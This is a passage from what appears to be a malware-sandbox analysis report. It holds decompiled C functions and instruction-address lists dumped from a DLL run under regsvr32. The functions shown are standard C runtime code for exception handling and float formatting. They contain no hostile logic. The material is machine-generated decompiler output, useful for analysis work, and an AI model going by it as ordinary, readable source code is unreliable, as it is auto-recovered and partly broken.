					_t219 = E6DAE02B2(_t317);
					_t297 = 0x16;
					 *_t219 = _t297;
					E6DADD63C();
					L31:
					return _t297;
				}
				L81:
			}

0x6dae2d69
0x6dae2d6c
0x6dae2d6f
0x6dae2d70
0x6dae2d72
0x6dae2d88
0x6dae2d8c
0x6dae2d8f
0x6dae2d91
0x6dae2d93
0x6dae2d95
0x6dae2d97
0x6dae2d9a
0x6dae2d9d
0x6dae2da0
0x6dae2da2
0x6dae2e05
0x6dae2e07
0x6dae2e0a
0x6dae2e0c
0x6dae2e10
0x6dae2e19
0x6dae2e1a
0x6dae2e1d
0x6dae2e1f
0x6dae2e22
0x6dae2e26
0x6dae2e26
0x6dae2e28
0x6dae2e2a
0x6dae2e2c
0x6dae2e2e
0x6dae2e2e
0x6dae2e30
0x6dae2e33
0x6dae2e36
0x6dae2e36
0x6dae2e38
0x6dae2e39
0x6dae2e39
0x6dae2e44
0x6dae2e46
0x6dae2e49
0x6dae2e4a
0x6dae2e4d
0x6dae2e4d
0x6dae2e51
0x6dae2e54
0x6dae2e57
0x6dae2e57
0x6dae2e57
0x6dae2e64
0x6dae2e66
0x6dae2e69
0x6dae2e6b
0x6dae2e83
0x6dae2e86
0x6dae2e89
0x6dae2e8b
0x6dae2e8e
0x6dae2e90
0x6dae2e93
0x6dae2e96
0x6dae2ef3
0x6dae2ef6
0x6dae2ef9
0x6dae2efb
0x00000000
0x6dae2e98
0x6dae2e9a
0x6dae2e9a
0x6dae2e9c
0x6dae2e9f
0x6dae2e9f
0x6dae2ea1
0x6dae2ea3
0x6dae2ea9
0x6dae2eac
0x6dae2eac
0x6dae2eae
0x6dae2eaf
0x6dae2eaf
0x6dae2eb6
0x6dae2eb9
0x6dae2ebd
0x6dae2eca
0x6dae2ecf
0x6dae2ed2
0x6dae2ed4
0x6dae2f48
0x6dae2f49
0x6dae2f4a
0x6dae2f4b
0x6dae2f4c
0x6dae2f4d
0x6dae2f52
0x6dae2f56
0x6dae2f58
0x6dae2f59
0x6dae2f5c
0x6dae2f5c
0x6dae2f5f
0x6dae2f5f
0x6dae2f61
0x6dae2f62
0x6dae2f62
0x6dae2f66
0x6dae2f67
0x6dae2f6e
0x6dae2f71
0x6dae2f74
0x6dae2f76
0x6dae2f7e
0x6dae2f7f
0x6dae2f80
0x6dae2f83
0x6dae2f8d
0x6dae2f91
0x6dae2f93
0x6dae2fa7
0x6dae2fa7
0x6dae2faa
0x6dae2fb4
0x6dae2fb9
0x6dae2fbc
0x6dae2fbe
0x00000000
0x6dae2fc0
0x6dae2fc0
0x6dae2fc5
0x6dae2fcc
0x6dae2fcf
0x6dae2fd1
0x6dae2fe2
0x6dae2fe4
0x6dae2fe6
0x6dae2fe6
0x6dae2fe6
0x6dae2fd3
0x6dae2fd4
0x6dae2fd9
0x6dae2fdc
0x6dae2feb
0x6dae2ff1
0x00000000
0x6dae2ff4
0x6dae2f95
0x6dae2f95
0x6dae2f9b
0x6dae2fa0
0x6dae2fa3
0x6dae2fa5
0x6dae2ff7
0x6dae2ff9
0x6dae2ffa
0x6dae2ffb
0x6dae2ffc
0x6dae2ffd
0x6dae2ffe
0x6dae3003
0x6dae3006
0x6dae3007
0x6dae3009
0x6dae300f
0x6dae3016
0x6dae3019
0x6dae301c
0x6dae301f
0x6dae3020
0x6dae3021
0x6dae3024
0x6dae302a
0x6dae302c
0x6dae302e
0x6dae302e
0x6dae3030
0x6dae3032
0x00000000
0x00000000
0x6dae3034
0x6dae3036
0x6dae3038
0x6dae303a
0x6dae3045
0x6dae3047
0x6dae3049
0x00000000
0x00000000
0x6dae3049
0x6dae303a
0x00000000
0x6dae3036
0x6dae304b
0x6dae304b
0x6dae3051
0x6dae3053
0x6dae3059
0x6dae305b
0x6dae307d
0x6dae307d
0x6dae307f
0x6dae3081
0x6dae308d
0x6dae308d
0x6dae3083
0x6dae3083
0x6dae3085
0x00000000
0x6dae3087
0x6dae3087
0x6dae3089
0x6dae308b
0x00000000
0x00000000
0x6dae308b
0x6dae3085
0x6dae3095
0x6dae309d
0x6dae30a3
0x6dae30a4
0x6dae30a6
0x6dae30ae
0x6dae30b4
0x6dae30ba
0x6dae30c0
0x6dae30d4
0x6dae30d9
0x6dae30e4
0x6dae30f4
0x6dae30fa
0x6dae30fc
0x6dae30ff
0x6dae3122
0x6dae3122
0x6dae3127
0x6dae312d
0x6dae312d
0x6dae3133
0x6dae3139
0x6dae313f
0x6dae3145
0x6dae314b
0x6dae316c
0x6dae3171
0x6dae3176
0x6dae317a
0x6dae3180
0x6dae3183
0x6dae3196
0x6dae3196
0x6dae319c
0x6dae31a2
0x6dae31a3
0x6dae31a4
0x6dae31a9
0x6dae31ac
0x6dae31b2
0x6dae31b4
0x6dae3212
0x6dae3218
0x6dae3220
0x6dae3225
0x6dae322b
0x6dae322c
0x00000000
0x00000000
0x00000000
0x6dae3185
0x6dae3185
0x6dae3188
0x6dae318a
0x00000000
0x6dae318c
0x6dae318c
0x6dae318f
0x00000000
0x6dae3191
0x6dae3191
0x6dae3194
0x00000000
0x00000000
0x00000000
0x00000000
0x6dae3194
0x6dae318f
0x6dae318a
0x6dae322e
0x6dae322f
0x00000000
0x6dae31b6
0x6dae31b6
0x6dae31bc
0x6dae31c4
0x6dae31c9
0x6dae31d8
0x6dae31d8
0x6dae31e0
0x6dae31e6
0x6dae31ec
0x6dae31f3
0x6dae31f6
0x6dae31f8
0x6dae3208
0x6dae320d
0x00000000
0x6dae3101
0x6dae3101
0x6dae3107
0x6dae3108
0x6dae3109
0x6dae310a
0x6dae3112
0x6dae3112
0x6dae3235
0x6dae3235
0x6dae323c
0x6dae323d
0x6dae3245
0x6dae324a
0x6dae324b
0x6dae305d
0x6dae305d
0x6dae3060
0x6dae3062
0x6dae3077
0x00000000
0x6dae3064
0x6dae3064
0x6dae3067
0x6dae3068
0x6dae3069
0x6dae306a
0x6dae306f
0x6dae3062
0x6dae3250
0x6dae3251
0x6dae3253
0x6dae325a
0x00000000
0x00000000
0x00000000
0x6dae2fa5
0x6dae2f78
0x6dae2f7a
0x6dae2f7b
0x6dae2f7d
0x6dae2f7d
0x00000000
0x00000000
0x00000000
0x00000000
0x6dae2ed6
0x6dae2ed6
0x6dae2edc
0x6dae2edf
0x6dae2ee2
0x6dae2ee5
0x6dae2ee8
0x6dae2eeb
0x6dae2eee
0x6dae2eee
0x00000000
0x6dae2e9f
0x6dae2e6d
0x6dae2e6d
0x6dae2e70
0x6dae2efd
0x6dae2efe
0x6dae2f03
0x00000000
0x6dae2f03
0x6dae2da4
0x6dae2da4
0x6dae2da7
0x6dae2daf
0x6dae2db2
0x6dae2db9
0x6dae2dbb
0x6dae2dbd
0x6dae2dd8
0x6dae2dd9
0x6dae2dda
0x6dae2ddb
0x6dae2de0
0x6dae2de3
0x6dae2de6
0x6dae2dbf
0x6dae2dbf
0x6dae2dc2
0x6dae2dc3
0x6dae2dc4
0x6dae2dc5
0x6dae2dc6
0x6dae2dcb
0x6dae2dcd
0x6dae2dd0
0x6dae2dd0
0x6dae2de8
0x6dae2dea
0x00000000
0x00000000
0x6dae2df3
0x6dae2df6
0x6dae2df9
0x6dae2dfb
0x6dae2dfd
0x00000000
0x6dae2dff
0x6dae2dff
0x6dae2e02
0x00000000
0x6dae2e02
0x00000000
0x6dae2dfd
0x6dae2e78
0x6dae2f04
0x6dae2f07
0x6dae2f0b
0x6dae2f14
0x6dae2f17
0x6dae2f1b
0x6dae2f1b
0x6dae2f1d
0x6dae2f20
0x6dae2f22
0x6dae2f24
0x6dae2f26
0x6dae2f2b
0x6dae2f2c
0x6dae2f30
0x6dae2f30
0x6dae2f34
0x6dae2f37
0x6dae2f37
0x6dae2f3b
0x00000000
0x6dae2f42
0x6dae2d74
0x6dae2d74
0x6dae2d7b
0x6dae2d7c
0x6dae2d7e
0x6dae2f43
0x6dae2f47
0x6dae2f47
0x00000000

APIs

_free.LIBCMT ref: 6DAE2EFE

Strings

*?, xrefs: 6DAE2DA7

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: e62a7b5681f75c7ea2167378dfd03fc01b53014849d62c1fc6ca275206def071
Instruction ID: 0830f004fbecba24673ae7625801c32d1e071ba9cd6f9a4c5df3e8c77c6b49b8
Opcode Fuzzy Hash: e62a7b5681f75c7ea2167378dfd03fc01b53014849d62c1fc6ca275206def071
Instruction Fuzzy Hash: 92615E76E0821A9FDB25CFA8C9809EDFBF5EF48350B198169D914E7300D7719E81DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6DADC6F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E6DADC6F5(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_push(_t121);
					_push(_t113);
					_t75 = E6DADC006(_t96, __ecx, __edx, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E6DADC006(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E6DADB3A2(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E6DADB2D5(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E6DADC2CB(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E6DAE0332(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x6dadc6f5
0x6dadc6f5
0x6dadc6fc
0x6dadc705
0x6dadc824
0x6dadc70b
0x6dadc70b
0x6dadc70c
0x6dadc70d
0x6dadc717
0x6dadc71a
0x6dadc720
0x6dadc72a
0x6dadc74f
0x6dadc754
0x6dadc759
0x6dadc820
0x00000000
0x6dadc821
0x6dadc759
0x6dadc72a
0x6dadc75f
0x6dadc762
0x6dadc765
0x6dadc76b
0x6dadc771
0x6dadc783
0x6dadc788
0x6dadc78b
0x6dadc78e
0x6dadc791
0x6dadc794
0x6dadc79a
0x6dadc7a0
0x6dadc7a3
0x6dadc7a6
0x6dadc7b5
0x6dadc7b6
0x6dadc7b6
0x6dadc7bb
0x6dadc7ce
0x6dadc7d0
0x6dadc7d5
0x6dadc7e0
0x6dadc7e2
0x6dadc7e4
0x6dadc800
0x6dadc805
0x6dadc808
0x6dadc808
0x6dadc7e0
0x6dadc7d5
0x6dadc80e
0x6dadc80f
0x6dadc812
0x6dadc815
0x6dadc818
0x6dadc81b
0x6dadc7a6
0x00000000
0x6dadc79a
0x6dadc825
0x6dadc82a
0x6dadc82e
0x6dadc831
0x6dadc832
0x6dadc833
0x6dadc834
0x6dadc839
0x6dadc8b1
0x6dadc8b3
0x6dadc83b
0x6dadc83b
0x6dadc841
0x00000000
0x6dadc843
0x6dadc846
0x6dadc849
0x6dadc850
0x6dadc853
0x6dadc857
0x6dadc889
0x6dadc88c
0x6dadc893
0x6dadc899
0x6dadc8a3
0x6dadc8ac
0x6dadc8ac
0x6dadc8a3
0x6dadc899
0x6dadc8ad
0x6dadc859
0x6dadc859
0x6dadc859
0x6dadc85c
0x6dadc85c
0x6dadc860
0x00000000
0x00000000
0x6dadc864
0x6dadc878
0x6dadc878
0x6dadc866
0x6dadc866
0x6dadc86c
0x00000000
0x6dadc86e
0x6dadc86e
0x6dadc871
0x6dadc876
0x00000000
0x00000000
0x00000000
0x00000000
0x6dadc876
0x6dadc86c
0x6dadc881
0x6dadc883
0x00000000
0x6dadc885
0x6dadc885
0x6dadc885
0x00000000
0x6dadc883
0x6dadc87c
0x6dadc87e
0x00000000
0x6dadc87e
0x00000000
0x00000000
0x00000000
0x6dadc849
0x6dadc841
0x6dadc8b4
0x6dadc8b8
0x6dadc8b8

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6DADC71A
CatchIt.LIBVCRUNTIME ref: 6DADC800

Strings

MOC, xrefs: 6DADC72C
RCC, xrefs: 6DADC734

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 3f4c2bceb9c2eae0f31280214392147a205246c3337950e6a4a2b27be4ff4337
Instruction ID: 425c266f056b340bb40ed6e99bddaf88095cff922f843e7a22e80ee55b666963
Opcode Fuzzy Hash: 3f4c2bceb9c2eae0f31280214392147a205246c3337950e6a4a2b27be4ff4337
Instruction Fuzzy Hash: 5B417B7690820AAFCF01CF94CD80EEEBBB5FF48304F698059FA1567211D3359990DB91

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE1FF7 Relevance: 6.3, APIs: 4, Instructions: 320
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6DAE1FF7(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				unsigned int _v24;
				signed int _v32;
				signed int _v40;
				char _v48;
				intOrPtr _v56;
				char _v60;
				void* __ebx;
				void* __edi;
				signed char _t85;
				void* _t91;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int _t104;
				signed int _t105;
				void* _t106;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t113;
				void* _t115;
				signed int _t117;
				signed int* _t118;
				void* _t121;
				signed int _t123;
				signed int _t129;
				signed int* _t130;
				signed int* _t133;
				signed int _t134;
				signed int _t137;
				signed int _t139;
				signed int _t141;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t150;
				void* _t154;
				unsigned int _t155;
				signed int _t162;
				void* _t163;
				signed int _t164;
				signed int* _t165;
				signed int _t168;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				void* _t181;

				_t163 = __edx;
				_t173 = _a24;
				if(_t173 < 0) {
					_t173 = 0;
				}
				_t177 = _a8;
				 *_t177 = 0;
				E6DADDD26( &_v60, _t163, _a36);
				_t5 = _t173 + 0xb; // 0xb
				_t185 = _a12 - _t5;
				if(_a12 > _t5) {
					_t133 = _a4;
					_t139 = _t133[1];
					_t164 =  *_t133;
					__eflags = (_t139 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t139 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						__eflags = _t139;
						if(__eflags > 0) {
							L14:
							_t18 = _t177 + 1; // 0x6dade395
							_t165 = _t18;
							_t85 = _a28 ^ 0x00000001;
							_v16 = 0x3ff;
							_v5 = _t85;
							_v40 = _t165;
							_v32 = ((_t85 & 0x000000ff) << 5) + 7;
							__eflags = _t139 & 0x7ff00000;
							_t91 = 0x30;
							if((_t139 & 0x7ff00000) != 0) {
								 *_t177 = 0x31;
								L19:
								_t141 = 0;
								__eflags = 0;
								L20:
								_t26 =  &(_t165[0]); // 0x6dade395
								_t178 = _t26;
								_v12 = _t178;
								__eflags = _t173;
								if(_t173 != 0) {
									_t95 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v56 + 0x88))))));
								} else {
									_t95 = _t141;
								}
								 *_t165 = _t95;
								_t97 = _t133[1] & 0x000fffff;
								__eflags = _t97;
								_v24 = _t97;
								if(_t97 > 0) {
									L25:
									_t166 = _t141;
									_t142 = 0xf0000;
									_t98 = 0x30;
									_v12 = _t98;
									_v20 = _t141;
									_v24 = 0xf0000;
									do {
										__eflags = _t173;
										if(_t173 <= 0) {
											break;
										}
										_t121 = E6DADA6A0( *_t133 & _t166, _v12, _t133[1] & _t142 & 0x000fffff);
										_t154 = 0x30;
										_t123 = _t121 + _t154 & 0x0000ffff;
										__eflags = _t123 - 0x39;
										if(_t123 > 0x39) {
											_t123 = _t123 + _v32;
											__eflags = _t123;
										}
										_t155 = _v24;
										_t166 = (_t155 << 0x00000020 | _v20) >> 4;
										 *_t178 = _t123;
										_t178 = _t178 + 1;
										_t142 = _t155 >> 4;
										_t98 = _v12 - 4;
										_t173 = _t173 - 1;
										_v20 = (_t155 << 0x00000020 | _v20) >> 4;
										_v24 = _t155 >> 4;
										_v12 = _t98;
										__eflags = _t98;
									} while (_t98 >= 0);
									_v12 = _t178;
									__eflags = _t98;
									if(__eflags < 0) {
										goto L42;
									}
									_t117 = E6DAE2812(__eflags, _t133, _t166, _t142, _t98, _a40);
									_t181 = _t181 + 0x14;
									__eflags = _t117;
									if(_t117 == 0) {
										goto L42;
									}
									_t50 = _t178 - 1; // 0x6dade395
									_t118 = _t50;
									_t137 = 0x30;
									while(1) {
										_t149 =  *_t118;
										__eflags = _t149 - 0x66;
										if(_t149 == 0x66) {
											goto L35;
										}
										__eflags = _t149 - 0x46;
										if(_t149 != 0x46) {
											_t133 = _a4;
											__eflags = _t118 - _v40;
											if(_t118 == _v40) {
												_t54 = _t118 - 1;
												 *_t54 =  *(_t118 - 1) + 1;
												__eflags =  *_t54;
											} else {
												__eflags = _t149 - 0x39;
												if(_t149 != 0x39) {
													_t150 = _t149 + 1;
													__eflags = _t150;
												} else {
													_t150 = _v32 + 0x3a;
												}
												 *_t118 = _t150;
											}
											goto L42;
										}
										L35:
										 *_t118 = _t137;
										_t118 = _t118 - 1;
									}
								} else {
									__eflags =  *_t133 - _t141;
									if( *_t133 <= _t141) {
										L42:
										__eflags = _t173;
										if(_t173 > 0) {
											_push(_t173);
											_t115 = 0x30;
											_push(_t115);
											_push(_t178);
											E6DADB880(_t173);
											_t178 = _t178 + _t173;
											__eflags = _t178;
											_v12 = _t178;
										}
										_t99 = _v40;
										__eflags =  *_t99;
										if( *_t99 == 0) {
											_t178 = _t99;
											_v12 = _t178;
										}
										 *_t178 = (_v5 << 5) + 0x50;
										_t104 = E6DADA6A0( *_t133, 0x34, _t133[1]);
										_t179 = 0;
										_t105 = _v12;
										_t146 = (_t104 & 0x000007ff) - _v16;
										__eflags = _t146;
										asm("sbb esi, esi");
										_t168 = _t105 + 2;
										_v40 = _t168;
										if(__eflags < 0) {
											L50:
											_t146 =  ~_t146;
											asm("adc esi, 0x0");
											_t179 =  ~_t179;
											_t134 = 0x2d;
											goto L51;
										} else {
											if(__eflags > 0) {
												L49:
												_t134 = 0x2b;
												L51:
												 *(_t105 + 1) = _t134;
												_t174 = _t168;
												_t106 = 0x30;
												 *_t168 = _t106;
												_t107 = 0;
												__eflags = _t179;
												if(__eflags < 0) {
													L55:
													__eflags = _t174 - _t168;
													if(_t174 != _t168) {
														L59:
														_push(_t134);
														_push(_t107);
														_push(0x64);
														_push(_t179);
														_t108 = E6DAEAB10();
														_t179 = _t134;
														_t134 = _t146;
														_v32 = _t168;
														_t168 = _v40;
														 *_t174 = _t108 + 0x30;
														_t174 = _t174 + 1;
														_t107 = 0;
														__eflags = 0;
														L60:
														__eflags = _t174 - _t168;
														if(_t174 != _t168) {
															L64:
															_push(_t134);
															_push(_t107);
															_push(0xa);
															_push(_t179);
															_push(_t146);
															_t110 = E6DAEAB10();
															_v40 = _t168;
															 *_t174 = _t110 + 0x30;
															_t174 = _t174 + 1;
															_t107 = 0;
															__eflags = 0;
															L65:
															_t147 = _t146 + 0x30;
															__eflags = _t147;
															 *_t174 = _t147;
															 *(_t174 + 1) = _t107;
															_t175 = _t107;
															L66:
															if(_v48 != 0) {
																 *(_v60 + 0x350) =  *(_v60 + 0x350) & 0xfffffffd;
															}
															return _t175;
														}
														__eflags = _t179 - _t107;
														if(__eflags < 0) {
															goto L65;
														}
														if(__eflags > 0) {
															goto L64;
														}
														__eflags = _t146 - 0xa;
														if(_t146 < 0xa) {
															goto L65;
														}
														goto L64;
													}
													__eflags = _t179 - _t107;
													if(__eflags < 0) {
														goto L60;
													}
													if(__eflags > 0) {
														goto L59;
													}
													__eflags = _t146 - 0x64;
													if(_t146 < 0x64) {
														goto L60;
													}
													goto L59;
												}
												_t134 = 0x3e8;
												if(__eflags > 0) {
													L54:
													_push(_t134);
													_push(_t107);
													_push(_t134);
													_push(_t179);
													_t113 = E6DAEAB10();
													_t179 = _t134;
													_t134 = _t146;
													_v32 = _t168;
													_t168 = _v40;
													 *_t168 = _t113 + 0x30;
													_t174 = _t168 + 1;
													_t107 = 0;
													__eflags = 0;
													goto L55;
												}
												__eflags = _t146 - 0x3e8;
												if(_t146 < 0x3e8) {
													goto L55;
												}
												goto L54;
											}
											__eflags = _t146;
											if(_t146 < 0) {
												goto L50;
											}
											goto L49;
										}
									}
									goto L25;
								}
							}
							 *_t177 = _t91;
							_t141 =  *_t133 | _t133[1] & 0x000fffff;
							__eflags = _t141;
							if(_t141 != 0) {
								_v16 = 0x3fe;
								goto L19;
							}
							_v16 = _t141;
							goto L20;
						}
						if(__eflags < 0) {
							L13:
							 *_t177 = 0x2d;
							_t177 = _t177 + 1;
							__eflags = _t177;
							_t139 = _t133[1];
							goto L14;
						}
						__eflags = _t164;
						if(_t164 >= 0) {
							goto L14;
						}
						goto L13;
					}
					_t175 = E6DAE2306(_t133, _t139, _t164, _t133, _t177, _a12, _a16, _a20, _t173, 0, _a32, 0, _a40);
					__eflags = _t175;
					if(_t175 == 0) {
						_t129 = E6DAEACD0(_t177, 0x65);
						__eflags = _t129;
						if(_t129 != 0) {
							_t162 = ((_a28 ^ 0x00000001) << 5) + 0x50;
							__eflags = _t162;
							 *_t129 = _t162;
							 *((char*)(_t129 + 3)) = 0;
						}
						_t175 = 0;
					} else {
						 *_t177 = 0;
					}
					goto L66;
				}
				_t130 = E6DAE02B2(_t185);
				_t175 = 0x22;
				 *_t130 = _t175;
				E6DADD63C();
				goto L66;
			}

0x6dae1ff7
0x6dae2002
0x6dae2007
0x6dae2009
0x6dae2009
0x6dae200d
0x6dae2016
0x6dae2018
0x6dae201d
0x6dae2020
0x6dae2023
0x6dae2039
0x6dae203c
0x6dae2041
0x6dae204b
0x6dae2050
0x6dae20a7
0x6dae20a9
0x6dae20b8
0x6dae20bb
0x6dae20bb
0x6dae20be
0x6dae20c0
0x6dae20c7
0x6dae20d9
0x6dae20dc
0x6dae20e1
0x6dae20e5
0x6dae20e6
0x6dae2106
0x6dae2109
0x6dae2109
0x6dae2109
0x6dae210b
0x6dae210b
0x6dae210b
0x6dae210e
0x6dae2111
0x6dae2113
0x6dae2124
0x6dae2115
0x6dae2115
0x6dae2115
0x6dae2126
0x6dae212b
0x6dae212b
0x6dae2130
0x6dae2133
0x6dae213d
0x6dae213f
0x6dae2141
0x6dae2146
0x6dae2147
0x6dae214a
0x6dae214d
0x6dae2150
0x6dae2150
0x6dae2152
0x00000000
0x00000000
0x6dae2169
0x6dae2170
0x6dae2174
0x6dae2177
0x6dae217a
0x6dae217c
0x6dae217c
0x6dae217c
0x6dae2182
0x6dae2185
0x6dae2189
0x6dae218b
0x6dae218f
0x6dae2192
0x6dae2195
0x6dae2196
0x6dae2199
0x6dae219c
0x6dae219f
0x6dae219f
0x6dae21a4
0x6dae21a7
0x6dae21aa
0x00000000
0x00000000
0x6dae21b3
0x6dae21b8
0x6dae21bb
0x6dae21bd
0x00000000
0x00000000
0x6dae21c1
0x6dae21c1
0x6dae21c4
0x6dae21c5
0x6dae21c5
0x6dae21c7
0x6dae21ca
0x00000000
0x00000000
0x6dae21cc
0x6dae21cf
0x6dae21d6
0x6dae21d9
0x6dae21dc
0x6dae21f1
0x6dae21f1
0x6dae21f1
0x6dae21de
0x6dae21de
0x6dae21e1
0x6dae21eb
0x6dae21eb
0x6dae21e3
0x6dae21e6
0x6dae21e6
0x6dae21ed
0x6dae21ed
0x00000000
0x6dae21dc
0x6dae21d1
0x6dae21d1
0x6dae21d3
0x6dae21d3
0x6dae2135
0x6dae2135
0x6dae2137
0x6dae21f4
0x6dae21f4
0x6dae21f6
0x6dae21f8
0x6dae21fb
0x6dae21fc
0x6dae21fd
0x6dae21fe
0x6dae2206
0x6dae2206
0x6dae2208
0x6dae2208
0x6dae220b
0x6dae220e
0x6dae2211
0x6dae2213
0x6dae2215
0x6dae2215
0x6dae2222
0x6dae2229
0x6dae2230
0x6dae2232
0x6dae223b
0x6dae223b
0x6dae223e
0x6dae2240
0x6dae2243
0x6dae2246
0x6dae2252
0x6dae2252
0x6dae2256
0x6dae2259
0x6dae225b
0x00000000
0x6dae2248
0x6dae2248
0x6dae224e
0x6dae224e
0x6dae225c
0x6dae225c
0x6dae225f
0x6dae2263
0x6dae2264
0x6dae2266
0x6dae2268
0x6dae226a
0x6dae2294
0x6dae2294
0x6dae2296
0x6dae22a3
0x6dae22a3
0x6dae22a4
0x6dae22a5
0x6dae22a7
0x6dae22a9
0x6dae22ae
0x6dae22b0
0x6dae22b4
0x6dae22b7
0x6dae22ba
